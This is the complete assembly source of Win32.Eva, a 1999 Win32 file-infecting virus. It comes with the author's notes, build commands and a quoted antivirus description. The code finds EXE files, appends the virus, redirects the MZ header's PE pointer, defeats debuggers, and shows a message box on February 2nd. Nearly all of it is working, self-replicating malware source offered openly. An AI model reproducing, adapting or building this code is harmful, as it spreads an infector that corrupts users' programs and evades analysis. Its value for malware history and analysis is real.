;Win32.Eva virus.

;(c) 1999 by Benny

;

;

;Author's description

;---------------------

;

;Let me introduce my first COMPLETE Win32 infector. Yeah, i have written several parts

;of viruses, but this babe is my tiniest one with all needed functions to spread out.

;Win32.Eva is simple appender, infects one EXE file by changing pointer at 3ch

;in the MZ header, which points to new exe. After infection, MZ_lfanew pointer will be

;pointing to the viruses new PE header. So, if u will execute infected program under Win9X,

;WinNT or under Win3.1x with Win32s subsystem, program will start at the new location.

;After virus will be done with his work executes program again with changed

;MZ_lfanew pointer, that will be pointing to the original PE header.

;

;

;Payload

;--------

;

;On February the 2nd will display message box with some stupid comments.

;

;

;To build

;---------

;

;tasm32 -ml -m5 -q eva.asm

;tlink32 -Tpe -c -x -aa -r eva,,, import32

;pewrsec eva.exe (thanx Jacky !)

;

;

;AVP's description

;------------------

;

;This is a direct action (nonmemory resident) parasitic Win32 infector. It

;searches for PE EXE files in the Windows, Windows system [* Benny's note: it

;DOESN'T infect files in Windows/System directory!] and current directories,

;then writes itself to the end of the file. While infecting the virus does not

;modify the PE header at all, the infection way is based only on DOS Stub

;header: the virus writes to there new file offset of PE header (virus PE

;header). As a result the infected file has three parts: first part is original

;DOS stub, the second part is host PE data (not modified), third part is virus

;code and data.

;

;The virus has PE file structure: it contains PE header, section headers, import

;table, code and data sections. The modified DOS stub in infected files points

;to virus PE header instead of original ones. As a result, Windows32 while

;executing infected files reads and runs virus code instead of host one.

;

;To return to the host program the virus creates a copy of the infected file,

;disinfects it (just restores file offset of PE header) and spawns.

;

;On February 2nd the virus displays the message window:

;

; Win32.Eva by Benny, (c) 1999

; Hello stupid user, i'm so sorry, but i have to interrupt your work,

; 'cause I hate this shitty program. Click OK to continue.

;

; Greets to:

; Super/29A

; Darkman/29A

; Jacky Qwerty/29A

; Billy Belcebu/DDT

; and many other 29Aers...

;

;

;Some greets

;------------

;

;All 29Aers.... And thats only the beginnin' :-)

;Super/29A..... However, blue screen is still the best Sexy's effect :-)

;

;

;Who is Eva ?

;-------------------------

;

;Eva is one pretty girl with nice black/red hair and lovely eyes.

;I hope, that this work (fully programmed and commented by three days - good

;motivation :-)) will say some words to Eva better than I X-DD. I hate myself.

;

;

;Last notes

;-----------

;

;This virus has many bugs (after many repairs without tests) and in this time, I don't care

;about it. Don't bitch if, that it doesn't work and look at my last viruses... Hey, it's my first

;virus, so gimme space for living X-D.

;

;

;And here is it...

.386p ;386 instructions

.model flat ;32bit offset, no segments

include PE.inc ;include some needed files

include MZ.inc

include Useful.inc

include win32api.inc

extrn FindFirstFileA:PROC ;and import needed APIs

extrn SetFileAttributesA:PROC

extrn CreateFileA:PROC

extrn CreateFileMappingA:PROC

extrn MapViewOfFile:PROC

extrn UnmapViewOfFile:PROC

extrn CloseHandle:PROC

extrn FindClose:PROC

extrn FindNextFileA:PROC

extrn CopyFileA:PROC

extrn GetCommandLineA:PROC

extrn CreateProcessA:PROC

extrn GetModuleFileNameA:PROC

extrn WaitForSingleObject:PROC

extrn DeleteFileA:PROC

extrn GetCurrentDirectoryA:PROC

extrn GetWindowsDirectoryA:PROC

extrn GetSystemDirectoryA:PROC

extrn GetVersion:PROC

extrn GetSystemTime:PROC

extrn MessageBoxA:PROC

extrn GetLastError:PROC

extrn GetModuleHandleA:PROC

extrn GetProcAddress:PROC

extrn SetFilePointer:PROC

extrn SetEndOfFile:PROC

.data ;data section

msgTitle db 'Win32.Eva by Benny, (c) 1999', 0

msgText db 'Hello stupid user, i''m so sorry, but i have to interrupt your work,', 0dh

db '''cause I hate this shitty program. Click OK to continue.', 0dh, 0dh

db 'Greets to:', 0dh

db 9, 'Super/29A', 0dh

db 9, 'Darkman/29A', 0dh

db 9, 'Jacky Qwerty/29A', 0dh

db 9, 'Billy Belcebu/DDT', 0dh, 0dh

db 9, 'and many other 29Aers...', 0dh, 0dh, 0

kernel db 'KERNEL32', 0

IsDebuggerPresent db 'IsDebuggerPresent', 0

fmask db '*.EXE',0 ;search mask

DestFile db 'aaaaeva.exe', 0 ;temporary file

org $ - 1

space db ? ;space between name and params

CmdLine db 256 - 12 dup (?) ;command line

win32_find_data WIN32_FIND_DATA ?

search_handle dd ?

hFile dd ?

hMyFile dd ?

hMapFile dd ?

hMyMapFile dd ?

lpFile dd ?

lpMyFile dd ?

lppiProcInfo: ;needed by CreateProcessA

hProcess dd ?

hThread dd ?

dwProcessID dd ?

dwThreadID dd ?

lpFileName db 256 dup (?)

lpsiStartInfo db 64 dup (?)

lpWindowsPath db 256 dup (?)

lpCurrentPath db 256 dup (?)

org lpCurrentPath

lpSystemTime db 16 dup (?) ;these variables may overlap

ends

.code ;code of virus starts here

Start:

pushad

pushad

@SEH_SetupFrame ;setup SEH frame

inc dword ptr [edx] ;bye TD32 !

db 2dh ;some prefix

seh_rs:

push 256

push offset lpFileName

push 0

call GetModuleFileNameA ;get file-name of me

test_dir: ;i wont infect files in Windows

;dir, 'cause NT could crash

;on start

mov esi, offset lpCurrentPath

push esi

push esi

push 256

call GetCurrentDirectoryA ;get current directory

pop ebx

push 256

mov edi, offset lpWindowsPath

push edi

call GetWindowsDirectoryA ;getwindows directory

N_Char: cmpsb ;compare

jpatch: jne NoMatch ;no match, jump

jne FindFile ;second jump for next test

cmp byte ptr [esi - 1], 0 ;end of string ?

jne N_Char ;no, get next char

jmp quit_to_host ;yeah, we're in Windows dir.,

;jump to host

db 68h ;some prefix

NoMatch:push 256

mov edi, offset lpWindowsPath

push edi

call GetSystemDirectoryA ;get windows system dir.

mov word ptr [jpatch], 9090h ;path first jump with NOPs,

;second will take effect

mov esi, ebx

jmp N_Char ;and test directory

db 8bh ;some prefix

FindFile:

push offset win32_find_data

push offset fmask

call FindFirstFileA ;find first file

test eax, eax

je exit_search ;no files, quit

mov search_handle, eax ;save search handle

try_infect:

cmp win32_find_data.WFD_nFileSizeHigh, 0 ;discard huge files

jne Try_Next

mov eax, [win32_find_data.WFD_nFileSizeLow]

cmp eax, 4096*4 ;discard small files

jb Try_Next

cmp eax, (64*64*512)+1 ;discard huge files

jb @1

Try_Next:

push offset win32_find_data

push [search_handle]

call FindNextFileA ;try next file

xchg eax, ecx

jecxz exit_search ;no files, quit

jmp try_infect ;try infect it

db 67h ;some prefix

@1: mov edx, offset win32_find_data.WFD_szFileName

push edx

push 0

push edx

call SetFileAttributesA ;black file attributes

pop edx

xchg eax, ecx

jecxz Try_Next ;can't set attributes, try next

call OpenFile ;open and map file

jecxz Try_Next ;cant map file, try next

call InfectFile ;infect file

cmp eax, 'EVA' ;infection OK ?

je exit_search ;no, try next

push [lpFile]

call UnmapViewOfFile ;unmap view of file

push [hMapFile]

call CloseHandle ;close file mapping object

;error, we MUST TRUNCATE FILE BACK !

push 0

push 0

push [win32_find_data.WFD_nFileSizeLow]

push [hFile]

call SetFilePointer ;set file pointer to original size

push [hFile]

call SetEndOfFile ;and truncate file

call end_OpenFile3 ;close file

jmp Try_Next ;try next file

exit_search:

call CloseFile ;close and unmap file

call MyClose ;close and unmap my file

push [win32_find_data.WFD_dwFileAttributes]

push offset win32_find_data.WFD_szFileName

call SetFileAttributesA ;set back file attributes

push [search_handle]

call FindClose ;close search handle

quit_to_host:

push offset lpSystemTime ;test for activate payload

call GetSystemTime ;get system time

push 2

pop ecx ;ecx = 2

cmp word ptr [lpSystemTime+2], cx ;is February ?

jne no_payload

cmp word ptr [lpSystemTime+6], cx ;is 2nd of February

jne no_payload

cmp word ptr [lpSystemTime+12], cx ;2 seconds ?

jne no_payload

push 1000h ;system modal window

push offset msgTitle ;title

push offset msgText ;test

push 0 ;owner - NULL

call MessageBoxA ;display bessage box

no_payload:

push 0 ;overwrite file, if exist already

push offset DestFile ;destination file

cpyf: push offset lpFileName ;source file

call CopyFileA ;copy file

test eax, eax ;error ? (disk full, for example)

jne getcommandline

call GetLastError ;get las error

cmp eax, 32 ;another process is using this file

jne exit ;unknown error, exit

push 0 ;everwrite file

mov edx, offset DestFile ;dest. file

inc dword ptr [edx] ;try generate another file

push edx

jmp cpyf ;and try to copy file again

db 8bh ;some prefix

getcommandline: ;now we will skip our filename

call GetCommandLineA ;get command line

mov esi, eax ;set source

cat: lodsb ;get char

cmp al, 0 ;no params ?

je run_prg

cmp al, '"' ;long files r written with ""s

je long_name

cmp al, 20h ;is it space ?

jne cat

cat1: mov edi, offset CmdLine ;destination

lodsb ;movsb with char in al

stosb

cmp al, 0 ;end of params ?

je run_prg

cat0: lodsb ;same as previous

stosb

cmp al, 0

jne cat0

run_prg:

mov edx, offset DestFile ;edx as file to param

mov win32_find_data.WFD_nFileSizeLow, 2048 ;save num. of bytes to map

call OpenFile ;open and map our file

jecxz end_host ;if error, quit

mov eax, [ecx.MZ_lfanew - 4] ;load oroginal MZ_lfanew

mov [ecx.MZ_lfanew], eax ;and save it to that original pos.

call CloseFile ;close and unmap file

mov [space], 20h ;add params

xor eax, eax

push offset lppiProcInfo ;procinfo

push offset lpsiStartInfo ;start info

mov [lpsiStartInfo], SIZE lpsiStartInfo ;size of start info

push eax ;directory

push eax ;enviroment

push eax ;create options

push eax ;inherit handles ?

push eax ;thread SA

push eax ;process SA

push offset DestFile ;command line

push eax ;app name

call CreateProcessA ;create process !

xchg eax, ecx

jecxz end_host ;if error, quit

push -1 ;infinite

push [hProcess] ;child process

call WaitForSingleObject ;wait for signaled state

push [hThread]

call CloseHandle ;close thread primary thread handle

push [hProcess]

call CloseHandle ;close process handle

end_host:

mov edi, offset DestFile

push edi ;file to delete

mov byte ptr [edi+space-DestFile], 0 ;add NULL between file and params

call DeleteFileA ;delete it !

exit: popad ;restore all registers

ret ;otherwise this quit metod will not work !

db 75h ;some prefix

long_name:

lodsb ;load char

cmp al, '"'

jne long_name ;wait for next "

jmp cat1

db 73h ;some prefix

InfectFile proc

mov ebx, ecx ;save address of MM-file

cmp word ptr [ecx], IMAGE_DOS_SIGNATURE ;must be MZ

jne end_InfectFile

cmp dword ptr [ecx.MZ_lfanew-4], 0 ;mustn't be infected already

jne end_InfectFile

mov edx, [ecx.MZ_lfanew]

add ecx, edx

cmp dword ptr [ecx], IMAGE_NT_SIGNATURE ;must be PE\0\0

jne end_InfectFile

cmp word ptr [ecx.NT_FileHeader.FH_Machine], IMAGE_FILE_MACHINE_I386 ;must be 386+

jne end_InfectFile

movzx eax, word ptr [ecx.NT_FileHeader.FH_Characteristics]

not al

test eax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_DLL

jne end_InfectFile ;must be executable, mustn't be DLL

;at this point:

; EBX - start of MM-file

; ECX - PE header of MM-file

mov ebp, ebx

mov edi, ecx

sub edi, ebx

mov [ebx.MZ_lfanew-4], edi ;save original MZ_lfanew

mov eax, win32_find_data.WFD_nFileSizeLow

mov [ebx.MZ_lfanew], eax

mov edi, ebx

add edi, eax

mov edx, [ebx.MZ_lfanew]

add edx, ebx

push edx ;push it, will be needed l8r

call MyOpen ;open and map me

pop edx

jecxz end_InfectFile ;can't open, quit

push edx

mov esi, [ecx.MZ_lfanew]

add esi, ecx

push ecx

mov ecx, (503) / 4 ;PE header size + section header size

cld

rep movsd ;copy PE header + all section headers

pop esi

pop edx

;at this point:

; EDX - start of our new PE header

; EBP - start of MM-file (MZ header)

; ESI - start of MM prg+virus (MZ header)

; EDI - pointer to memory, where will be copied virus sections

push ebp

;from ...

mov ecx, [esi.MZ_lfanew]

add ecx, esi

movzx ebx, word ptr [ecx.NT_FileHeader.FH_SizeOfOptionalHeader] ;size of optional header

;to ...

mov ebp, edx

movzx edx, word ptr [edx.NT_FileHeader.FH_SizeOfOptionalHeader] ; ...

mov eax, 4 ;number of sections

copy_sections:

pushad

pushad

call Align ;align position

mov [esp.Pushad_edi], edi

popad

;from ...

lea ebx, [ecx.NT_OptionalHeader + ebx]

add esi, [ebx.SH_PointerToRawData] ;address of section data

mov ecx, [ebx.SH_SizeOfRawData] ;size of section data

;to ...

lea edx, [ebp.NT_OptionalHeader + edx]

mov ebx, edi

sub ebx, [esp.cPushad.RetAddr]

mov [edx.SH_PointerToRawData], ebx ;save pointer

rep movsb

mov [esp.Pushad_edi], edi

popad

sub ebx, -IMAGE_SIZEOF_SECTION_HEADER ;next section

sub edx, -IMAGE_SIZEOF_SECTION_HEADER ;next section

dec eax

jne copy_sections

pop ebp

mov eax, 'EVA' ;success, toggle flag

end_InfectFile:

ret

InfectFile EndP

db 72h ;some prefix

Align Proc

mov eax, edi

mov ebx, 200h ;our align

AlignIt:xor edx, edx ;nulify idiv remaider

push eax

idiv ebx ;divide it !

pop eax

test edx, edx ;mod = 0 ?

je end_align ;yeah, align complete

inc eax ;no, increment address

jmp AlignIt ;and jump back

end_align:

mov edi, eax ;edi = new aligned address

ret

Align EndP

db 75h ;some prefix

MyOpen proc

cdq ;edx = 0

push edx ;hTemlate

push edx ;normal attributes

push OPEN_EXISTING ;creation options

push edx ;SA

push FILE_SHARE_READ or FILE_SHARE_WRITE ;share mode

push GENERIC_READ ;desired access

push offset lpFileName ;lpFileName

call CreateFileA ;open it !

inc eax ;eax = -1 ?

je end_MyOpen3

dec eax

mov hMyFile, eax ;save handle

mov esi, eax

cdq ;edx = 0

push edx ;lpszMapName

push edx ;max. size low

push edx ;max. size high

push PAGE_READONLY ;fdwProtect

push edx ;SA

push esi ;hFile

call CreateFileMappingA ;create mapping !

xchg eax, ecx

jecxz end_MyOpen2 ;eax = 0 ?

mov hMyMapFile, ecx ;save handle

xor eax, eax ;eax = 0

push eax ;bytes to map

push eax ;offset low

push eax ;offset high

push FILE_MAP_READ ;dwDesiredAccess

push ecx ;hMapObj

call MapViewOfFile ;map it !

mov lpMyFile, eax ;save handle

xchg eax, ecx ;ret. value in ecx

ret

db 76h ;some prefix

MyClose:

push [lpMyFile]

call UnmapViewOfFile ;close mapped file

end_MyOpen2:

push [hMyMapFile]

call CloseHandle ;close mapping

end_MyOpen3:

push [hMyFile]

call CloseHandle ;close file

xor ecx, ecx

ret

MyOpen EndP

db 75h ;some prefix

;same as previous

OpenFile proc

xor eax, eax

push eax

push eax

push OPEN_EXISTING

push eax

mov al, 1

push eax

ror eax, 1

rcr eax, 1

push eax

push edx

call CreateFileA

cdq

inc eax

je end_OpenFile3

dec eax

mov hFile, eax

push edx

mov esi, win32_find_data.WFD_nFileSizeLow

sub esi, -4096

push esi

push edx

push PAGE_READWRITE

push 0

push eax

call CreateFileMappingA

cdq

xchg eax, ecx

jecxz end_OpenFile2

mov hMapFile, ecx

push esi

push edx

push edx

push FILE_MAP_WRITE

push ecx

call MapViewOfFile

mov lpFile, eax

xchg eax, ecx

ret

db 76h ;some prefix

CloseFile:

push [lpFile]

call UnmapViewOfFile

end_OpenFile2:

push [hMapFile]

call CloseHandle

end_OpenFile3:

push [hFile]

call CloseHandle

xor ecx, ecx

ret

OpenFile EndP

db 77h ;some prefix

seh_fn:

@SEH_RemoveFrame ;remove SEH frame

popad ;restore regs

call GetVersion ;get windows version

cmp eax, 80000000h ;is it WinNT ?

jb NT_debug_trap ;yeah, freeze this app

cmp ax, 0a04h ;or Win98

jb no_debug_trap ;Win95-

debug_trap: ;Win95/98

call IsDebugger

mov eax, 909119cdh ;set some instructions

jmp $ - 4 ;say bye to your balls :-)

db 2dh ;some prefix

no_debug_trap:

jmp seh_rs ;jump back

db 2dh ;some prefix

NT_debug_trap:

call IsDebugger

xor esp, esp ;this will freeze our app

push ecx ;if not, this will cause

;access violation exception

IsDebugger:

pop ebx

push offset kernel

call GetModuleHandleA ;get memory address of kernel32

xchg eax, ecx

jecxz no_debug_trap ;error, jump

push offset IsDebuggerPresent

push ecx

call GetProcAddress ;get procedure address of our API

xchg eax, ecx

jecxz no_debug_trap

call ecx ;call IsDebuggerPresent

xchg eax, ecx

jecxz no_debug_trap

jmp ebx

ends

End Start